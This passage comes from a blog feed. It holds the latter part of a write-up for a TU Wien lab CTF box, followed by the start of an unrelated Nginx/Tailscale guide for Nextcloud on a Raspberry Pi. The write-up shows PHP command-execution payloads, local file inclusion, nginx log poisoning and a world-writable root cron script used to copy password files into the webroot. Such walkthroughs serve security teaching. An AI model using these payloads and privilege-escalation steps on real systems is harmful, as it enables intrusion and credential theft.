<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?=</span><span style="color:#e6db74">`id`</span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Then included <code>/var/www/userchange</code> through the LFI:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>?page=/var/www/userchange
</span></span></code></pre></div><p><strong>Output:</strong> <code>uid=33(www-data) gid=33(www-data) ...</code></p>
<p>Short tags (<code>&lt;?= ... ?&gt;</code>) for the win. A longer <code>&lt;?php system(...); ?&gt;</code> payload also works, but the backtick version is minimal and cute.</p>
<p>From here on, my mental model was:</p>
<ol>
<li><strong>pwreset</strong> → write arbitrary-ish content to <code>/var/www/userchange</code></li>
<li><strong>LFI include <code>userchange</code></strong> → execute PHP as <code>www-data</code></li>
</ol>
<p>That&rsquo;s RCE. Not root yet, but we&rsquo;ll get there. Klaus always leaves one more door open.</p>
<hr>
<h2 id="5-rabbit-holes-aka-everything-i-tried-before-it-worked">5) Rabbit holes (aka &ldquo;everything I tried before it worked&rdquo;)</h2>
<p>This box is a <em>presentation</em> CTF. It wants you to wander. I wandered. Hard.</p>
<h3 id="nginx-log-poisoning">nginx log poisoning</h3>
<p>The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. <strong>Plot twist:</strong> Tobias later confirmed it <em>is</em> the intended RCE path. I just griefed myself out of it. See <a href="#11-bonus-the-intended-log-poisoning-path">§11 Bonus</a> for the real technique and what I screwed up.</p>
<p>Short version of my failure: I poisoned via <strong>HTTPS</strong> (wrong log), sprayed <strong>broken PHP</strong> into the HTTP log, and never read the hint in <code>index.php</code> source until it was too late.</p>
<h3 id="data-phpinput-expect"><code>data://</code>, <code>php://input</code>, <code>expect://</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>data://text/plain,&lt;?php system<span style="color:#f92672">(</span>$_GET<span style="color:#f92672">[</span>cmd<span style="color:#f92672">])</span>; ?&gt;
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>php://input   <span style="color:#75715e"># with POST body</span>
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>expect://id
</span></span></code></pre></div><p>Nope. <code>allow_url_include = Off</code>. Klaus isn&rsquo;t <em>that</em> careless.</p>
<h3 id="vim-swp-files">vim <code>.swp</code> files</h3>
<p><code>.memes.php.swp</code> is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried <code>img_src</code> shell escapes on <code>memes.php</code> / <code>convert_img.php</code>.</p>
<p>Empty memes page. No execution. Nice red herring — very on-theme for the talk.</p>
<h3 id="munin--apt_all-plugin">Munin / <code>apt_all</code> plugin</h3>
<p>The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:</p>
<ul>
<li><code>/etc/munin/plugins/apt_all</code> — referenced in cron, but the plugin file <strong>doesn&rsquo;t exist</strong></li>
<li>Brute-forced tons of plugin names and backup suffixes (<code>.bak</code>, <code>.swp</code>, <code>~</code>, …)</li>
<li>Waited for cron cycles hoping a custom plugin would curl localhost pwreset</li>
</ul>
<p><strong>Verdict:</strong> the <code>apt_all</code> munin path is a distraction (or a removed artifact). The real privesc was elsewhere.</p>
<h3 id="pwreset-log-archaeology">pwreset log archaeology</h3>
<p>Reading <code>/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log</code> via LFI is gold for lore:</p>
<ul>
<li>Saw historical resets like <code>user3</code> → <code>foobar23</code></li>
<li>Tried <code>foobar23</code> over SSH for every user</li>
</ul>
<p><strong>From outside:</strong> still <code>Permission denied (publickey)</code>. Password auth isn&rsquo;t offered externally. TU Wien network / internal access might differ — I didn&rsquo;t have that.</p>
<h3 id="shell-script-injection-into-userchange">Shell script injection into <code>userchange</code></h3>
<p>I tried newline injection to turn <code>userchange</code> into a bash script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>user=
</span></span><span style="display:flex;"><span>#!/bin/sh
</span></span><span style="display:flex;"><span>cp /home/user1/passwd_part /var/www/.../p1
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>Cron cleared the file. No copies appeared. The processor uses <strong><code>chpasswd</code></strong>, not <code>/bin/sh</code>. Good lesson. Wrong path.</p>
<h3 id="brute-forcing-the-userchange-consumer">Brute-forcing the <code>userchange</code> consumer</h3>
<p>I spawned searches across <code>/etc/cron.d</code>, puppet manifests, <code>/usr/local/sbin</code>, systemd units, … — looking for whatever reads <code>userchange</code>.</p>
<p>Eventually <strong>didn&rsquo;t need it</strong>. Once RCE landed, grepping and <code>find</code> from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren&rsquo;t on the winning path.)</p>
<h3 id="direct-ssh-password-guessing">Direct SSH password guessing</h3>
<p>Tried setting root&rsquo;s password via pwreset (<code>root:RootPass123!</code>), waited for cron, attempted SSH.</p>
<p>From the internet: <strong>publickey only</strong>. The reset machinery may still work internally, but I couldn&rsquo;t log in with passwords from outside.</p>
<hr>
<h2 id="6-privesc--world-writable-cron-script-peak-klaus">6) Privesc — world-writable cron script (peak Klaus)</h2>
<p>With RCE as <code>www-data</code>, I looked for writable files:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find / -writable -type f 2&gt;/dev/null | head
</span></span></code></pre></div><p>Jackpot:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
</span></span></code></pre></div><p>Original script (innocent):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>grep 127.0.0.1 /etc/hosts &gt; /home/user1/hostname_config
</span></span></code></pre></div><p>It&rsquo;s run by <strong>cron as root</strong> (Puppet-managed). <code>www-data</code> can edit it because <code>user1</code> owns it and the group is <code>www-data</code> with world-writable perms. Chef&rsquo;s kiss.</p>
<p>I appended:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
</span></span><span style="display:flex;"><span>cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
</span></span><span style="display:flex;"><span>cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
</span></span><span style="display:flex;"><span>cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
</span></span><span style="display:flex;"><span>cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
</span></span><span style="display:flex;"><span>cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">644</span> /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
</span></span></code></pre></div><p>Then either waited for cron or executed the script manually via RCE:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?=</span><span style="color:#e6db74">`/usr/local/bin/cron_update_hostname_file.sh`</span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><strong>Files appeared in the webroot.</strong> Root-readable secrets exfiltrated by root itself. Klaus would be proud.</p>
<hr>
<h2 id="7-ssh-as-www-data--because-keys-in-the-webroot-are-a-mood">7) SSH as <code>www-data</code> — because keys in the webroot are a mood</h2>
<p>The main vhost webroot also had <code>.ssh/id_rsa</code> for <code>www-data</code>. Of course it did.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># via RCE: cat the key, save locally, chmod 600</span>
</span></span><span style="display:flex;"><span>ssh -i g00_wwwdata_key -o StrictHostKeyChecking<span style="color:#f92672">=</span>no <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  www-data@g00.tuw.measurement.network
</span></span></code></pre></div><p>Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.</p>
<hr>
<h2 id="8-the-password-parts">8) The password parts</h2>
<table>
  <thead>
      <tr>
          <th>Source</th>
          <th>File</th>
          <th>Part</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>user1</td>
          <td><code>p1</code></td>
          <td><code>DcC6Da0A27384fA</code></td>
      </tr>
      <tr>
          <td>user2</td>
          <td><code>p2</code></td>
          <td><code>9Ce05B3cAd57824</code></td>
      </tr>
      <tr>
          <td>user3</td>
          <td><code>p3</code></td>
          <td><code>3aD80fa1b7AE986</code></td>
      </tr>
      <tr>
          <td>user4</td>
          <td><code>p4</code></td>
          <td><code>CDefabffab1FCCf</code></td>
      </tr>
      <tr>
          <td>www-data</td>
          <td><code>passwd_part</code></td>
          <td><code>44D885d6DAb8Bb9</code></td>
      </tr>
      <tr>
          <td>root</td>
          <td><code>rootpass</code></td>
          <td><code>ghadnuthduxeec7</code></td>
      </tr>
  </tbody>
</table>
<p><strong>Missing:</strong> <code>monitoring/passwd_part</code> — copying to <code>pm</code> failed (no file / permission denied even as root&rsquo;s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.</p>
<p><strong>Combined root password (95 characters):</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
</span></span></code></pre></div><p>Order: <code>user1 + user2 + user3 + user4 + www-data + root_suffix</code>.</p>
<p>I double-checked byte lengths with <code>wc -c</code> and <code>od</code> over SSH. No sneaky newlines.</p>
<p>Root SSH with that password from <strong>outside</strong> still didn&rsquo;t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.</p>
<hr>
<h2 id="9-attack-chain-one-screen">9) Attack chain (one screen)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>documentation.md
</span></span><span style="display:flex;"><span>    → web vhost LFI (include $_GET[&#39;page&#39;])
</span></span><span style="display:flex;"><span>        → include pwreset index.php (localhost bypass)
</span></span><span style="display:flex;"><span>            → write PHP to /var/www/userchange
</span></span><span style="display:flex;"><span>                → LFI include userchange
</span></span><span style="display:flex;"><span>                    → RCE as www-data
</span></span><span style="display:flex;"><span>                        → append to world-writable cron_update_hostname_file.sh
</span></span><span style="display:flex;"><span>                            → cron runs as root → copies passwd parts to webroot
</span></span><span style="display:flex;"><span>                                → read parts / SSH as www-data
</span></span><span style="display:flex;"><span>                                    → profit
</span></span></code></pre></div><p>Very &ldquo;real world&rdquo; in the worst way. Multiple small mistakes compounding into a full chain.</p>
<hr>
<h2 id="10-replay-script">10) Replay script</h2>
<p>I left a minimal Python replay in the challenge repo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 solve.py
</span></span></code></pre></div><p>Core logic:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">pwreset</span>(user, passwd<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># LFI-include pwreset index.php with user/pass params</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">rce</span>(cmd):
</span></span><span style="display:flex;"><span>    pwreset(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;&lt;?=`</span><span style="color:#e6db74">{</span>cmd<span style="color:#e6db74">}</span><span style="color:#e6db74">`?&gt;&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> lfi_include(<span style="color:#e6db74">&#34;/var/www/userchange&#34;</span>)
</span></span></code></pre></div><p>It prints <code>id</code>, the modified cron script, each part file, and the combined password.</p>
<hr>
<h2 id="11-bonus-the-intended-log-poisoning-path">11) Bonus: the intended log poisoning path</h2>
<p>After I solved the box the scenic route (pwreset → <code>userchange</code>), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: <strong>griefing the logs is part of the game</strong> — and students mostly grief <em>themselves</em>. Fair. 😂</p>
<p>So here&rsquo;s the path you&rsquo;re <em>supposed</em> to take for RCE, and how I accidentally took the scenic bypass.</p>
<h3 id="the-hint-is-in-indexphp-not-documentationmd">The hint is in <code>index.php</code>, not <code>documentation.md</code></h3>
<p><code>documentation.md</code> only lists the services (<code>web</code>, <code>pwreset</code>). It says nothing about logs. The actual breadcrumb is an HTML comment in <code>index.php</code> (readable via PHP filter LFI):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- remember for debugging:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    /var/log/nginx/$vhost.access.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    /var/log/nginx/$vhost.error.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    /var/log/nginx/ssl-$vhost.access.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    /var/log/nginx/ssl-$vhost.error.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--&gt;</span>
</span></span></code></pre></div><p>Four logs. Two pairs: <strong>HTTP</strong> and <strong>HTTPS (ssl-)</strong>. The comment doesn&rsquo;t say &ldquo;don&rsquo;t use SSL&rdquo; — but the intended trick is to use the <strong>non-ssl</strong> access log.</p>
<h3 id="intended-technique">Intended technique</h3>
<ol>
<li>
<p><strong>Poison over HTTP</strong> (port 80), not HTTPS — so nginx writes to the smaller vhost log:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>/var/log/nginx/web.g00.tuw.measurement.network.access.log
</span></span></code></pre></div></li>
<li>
<p>Put PHP in the <code>User-Agent</code> (or another logged field):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>&lt;?php passthru($_GET[&#39;cmd&#39;]); ?&gt;
</span></span></code></pre></div><p>Short tags like <code>&lt;?=`id`?&gt;</code> work too. Use <strong>quoted</strong> <code>'cmd'</code> — bare <code>$_GET[cmd]</code> is a PHP 8 footgun.</p>
</li>
<li>
<p><strong>Include that log</strong> through the same LFI bug:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
</span></span><span style="display:flex;"><span>  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
</span></span><span style="display:flex;"><span>  &amp;cmd=id
</span></span></code></pre></div></li>
</ol>
<p>On a <strong>fresh</strong> box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get <code>www-data</code>. That&rsquo;s RCE. No pwreset required.</p>
<h3 id="how-i-griefed-myself">How I griefed myself</h3>
<table>
  <thead>
      <tr>
          <th>What I did</th>
          <th>Why it hurt</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Defaulted to <code>https://</code> everywhere</td>
          <td>Poison landed in <code>ssl-web...access.log</code> — <strong>670 KB+</strong> and growing</td>
      </tr>
      <tr>
          <td>Included the ssl log via LFI</td>
          <td>Output truncates around ~2 KB; poison sits at the tail</td>
      </tr>
      <tr>
          <td>Fired dozens of test payloads</td>
          <td>Left broken <code>&lt;?php</code> in the HTTP log (<code>$_GET[cmd]</code> without quotes, <code>\x22</code>, etc.) — PHP dies on the <strong>first</strong> bad tag before reaching a clean line</td>
      </tr>
      <tr>
          <td>Didn&rsquo;t read <code>index.php</code> source early</td>
          <td>Missed the debug comment until I&rsquo;d already polluted both logs</td>
      </tr>
  </tbody>
</table>
<p>Tobias&rsquo;s take: that&rsquo;s a feature. The box teaches you that <strong>ops mistakes compound</strong> — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.</p>
<h3 id="if-youre-solving-it-now">If you&rsquo;re solving it now</h3>
<ul>
<li>Read <code>index.php</code> source first.</li>
<li>Poison on <strong>HTTP</strong>: <code>http://web.g00.tuw.measurement.network/</code> with a clean User-Agent payload.</li>
<li>Include the <strong>non-ssl</strong> access log path from the comment.</li>
<li>Don&rsquo;t spray malformed PHP into the log unless you enjoy debugging your own garbage.</li>
</ul>
<p>I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.</p>
<hr>
<h2 id="12-tldr">12) TL;DR</h2>
<ul>
<li><strong>Read</strong> <code>documentation.md</code> — it tells you where the services live.</li>
<li><strong>Read</strong> <code>index.php</code> source — the debug comment gives you the log paths.</li>
<li><strong>Intended RCE</strong> = HTTP log poisoning → LFI include the non-ssl access log.</li>
<li><strong>What I did</strong> = pwreset → <code>userchange</code> → cron (also works, not the intended first step).</li>
<li><strong>Privesc</strong> = <code>/usr/local/bin/cron_update_hostname_file.sh</code> is world-writable and runs as root.</li>
<li><strong>Griefing</strong> = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.</li>
<li><strong>Flag</strong> = concatenate all <code>passwd_part</code> slices + <code>/root/passwd</code> suffix.</li>
</ul>
<p>If you&rsquo;re doing this as part of the TU Wien lab: don&rsquo;t touch other groups&rsquo; hosts, don&rsquo;t break the infra, and maybe send Klaus a thank-you note for the cron job.</p>
<p>Happy hacking. 🔓</p>
<hr>
<p><em>Thanks to Tobias Fiebig for the delightfully cursed &ldquo;real world&rdquo; box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.</em></p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/g00_tuw_measurement_ctf.md">Markdown</a> ·
    <a href="/sources/posts/g00_tuw_measurement_ctf.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
jSr&#43;7xAAjpbfTK8k&#43;GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy&#43;fTISF9Q&#43;hRfMX
91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v&#43;drZ2YVGk9mKW4FBfzbb1
iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
35YFa3A1GMUiKAHcemIqJnDZuIInQa&#43;OuPIDPGQva93I20eIn40nIVDLDsY15X&#43;R
FyxKVBAwO94We2g&#43;lxhey&#43;xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
oLsZXNoKbyZ2eXYF0f54it9JdDo&#43;obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV&#43;
zNn5DrhIk5f4FMjJGUnO1QH&#43;e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b&#43;
//J/Fdzi1YbKFyQlk9zfUUL&#43;1vMoSbkORd7S3JYkibTns&#43;uD9LxW27WIEcvYRw0K
MlzdYdPXNCJZUDswt7HZCgQv66zF9&#43;pLkQ/8rl&#43;RVOMW9GqJmE6O0uh4xmPDE8vS
YK3/9gFIcXVMy7WsIwEx&#43;xWQqcm815OZSIrw4kvt1&#43;seZ8lUURmoAWRDEFrFUTCG
zB6tKRPKoID643AdO&#43;Cb&#43;GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
=BDGe
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
  </pre>
</div>


]]></content:encoded></item><item><title>Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin</title><link>https://blog.alipour.eu/posts/pi_service_touchup/</link><pubDate>Mon, 02 Feb 2026 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/pi_service_touchup/</guid><description>Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable.</description><content:encoded><![CDATA[<blockquote>
<p>I didn’t “move Nextcloud to the cloud”.<br>
I moved the <strong>front door</strong> to a VPS… and kept the house on my Raspberry Pi. 😄</p></blockquote>
<p>This post documents the setup I ended up with:</p>
<ul>
<li>A public <strong>VPS</strong> (host: <code>funbox</code>) running <strong>Nginx</strong> + <strong>Let’s Encrypt</strong></li>
<li>A private <strong>Raspberry Pi</strong> (host: <code>iot-hub</code>) running Docker services (<strong>Nextcloud</strong>, <strong>Jellyfin</strong>, …)</li>
<li>A private backhaul using <strong>Tailscale</strong> (the <code>100.x.y.z</code> network)</li>
<li>A correct Nextcloud reverse-proxy configuration (<strong>trusted_domains</strong>, <strong>trusted_proxies</strong>, and overwrite values)</li>
<li>A pragmatic security layer for media: <strong>Basic Auth at Nginx for Jellyfin</strong><br>
(in addition to Jellyfin’s own login)</li>
</ul>
<p>I’m writing this as a “future me” note and a “copy-paste friendly” guide.</p>
<hr>
<h2 id="0-topology">0) Topology</h2>
<p>The request path looks like:</p>
<pre tabindex="0"><code>Browser
  ↓ HTTPS (public)
Cloudflare DNS (optional proxy on/off)
  ↓
VPS (funbox) — Nginx reverse proxy + Let&#39;s Encrypt
  ↓ HTTP over Tailscale (private 100.x network)
Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
</code></pre><p>Why I like it:</p>
<ul>
<li>The Pi can sit behind home router / CGNAT and still be reachable.</li>
<li>TLS, redirects, headers, auth, rate limits… all centralized on the VPS.</li>
<li>Internal IPs can change without breaking public URLs.</li>
</ul>
<hr>
<h2 id="1-whats-running-on-the-pi">1) What’s running on the Pi?</h2>
<p>On <code>iot-hub</code> the “interesting” containers are:</p>
<ul>
<li><code>nextcloud</code> (Apache variant)</li>
<li><code>nextcloud-db</code> (Postgres)</li>
<li><code>nextcloud-redis</code></li>
<li><code>jellyfin</code></li>
</ul>
<p>Example <code>docker ps</code> style output (yours may vary):</p>
<pre tabindex="0"><code>nextcloud         nextcloud:apache     0.0.0.0:8080-&gt;80/tcp
jellyfin          jellyfin/jellyfin    0.0.0.0:8096-&gt;8096/tcp
</code></pre><p>So on the Pi, the services listen on:</p>
<ul>
<li><code>http://&lt;pi&gt;:8080</code> for Nextcloud</li>
<li><code>http://&lt;pi&gt;:8096</code> for Jellyfin</li>
</ul>
<p>But in my setup, <strong>the VPS does not reach those via LAN</strong> — it reaches them via Tailscale IPs.</p>
<hr>
<h2 id="2-tailscale-the-private-wire-between-vps-and-pi">2) Tailscale: the private wire between VPS and Pi</h2>
<p>Tailscale assigns each node an address like <code>100.xx.yy.zz</code>.</p>
<p>In my config, Nginx on <code>funbox</code> points to the Pi via Tailscale:</p>
<ul>
<li>Nextcloud upstream: <code>http://100.104.127.96:8080</code></li>
<li>Jellyfin upstream: <code>http://100.104.127.96:8096</code></li>
</ul>
<p>(Use the Tailscale IP of your Pi.)</p>
<p>Quick sanity checks from the VPS:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># from funbox, make sure you can reach the Pi service:</span>
</span></span><span style="display:flex;"><span>curl -I http://100.104.127.96:8080
</span></span><span style="display:flex;"><span>curl -I http://100.104.127.96:8096
</span></span></code></pre></div><p>If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).</p>
<hr>
<h2 id="3-nginx-on-the-vps-reverse-proxy-blocks">3) Nginx on the VPS: reverse proxy blocks</h2>
<h3 id="31-nextcloud-vhost-vps--pi-via-tailscale">3.1 Nextcloud vhost (VPS → Pi via Tailscale)</h3>
<p>Create (or edit):</p>
<p><code>/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir</code></p>
<p>and symlink into <code>sites-enabled</code>.</p>
<p>Here is a complete working example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># Redirect HTTP → HTTPS
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">nextcloud.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host$request_uri;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">nextcloud.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Certbot-managed certs
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">include</span>             <span style="color:#e6db74">/etc/letsencrypt/options-ssl-nginx.conf</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_dhparam</span>         <span style="color:#e6db74">/etc/letsencrypt/ssl-dhparams.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Big uploads (tune to taste)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">client_max_body_size</span> <span style="color:#e6db74">2G</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># CalDAV/CardDAV redirects
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">location</span> = <span style="color:#e6db74">/.well-known/carddav</span> { <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host/remote.php/dav/; }
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">location</span> = <span style="color:#e6db74">/.well-known/caldav</span>  { <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host/remote.php/dav/; }
</span></span><span style="display:flex;"><span>
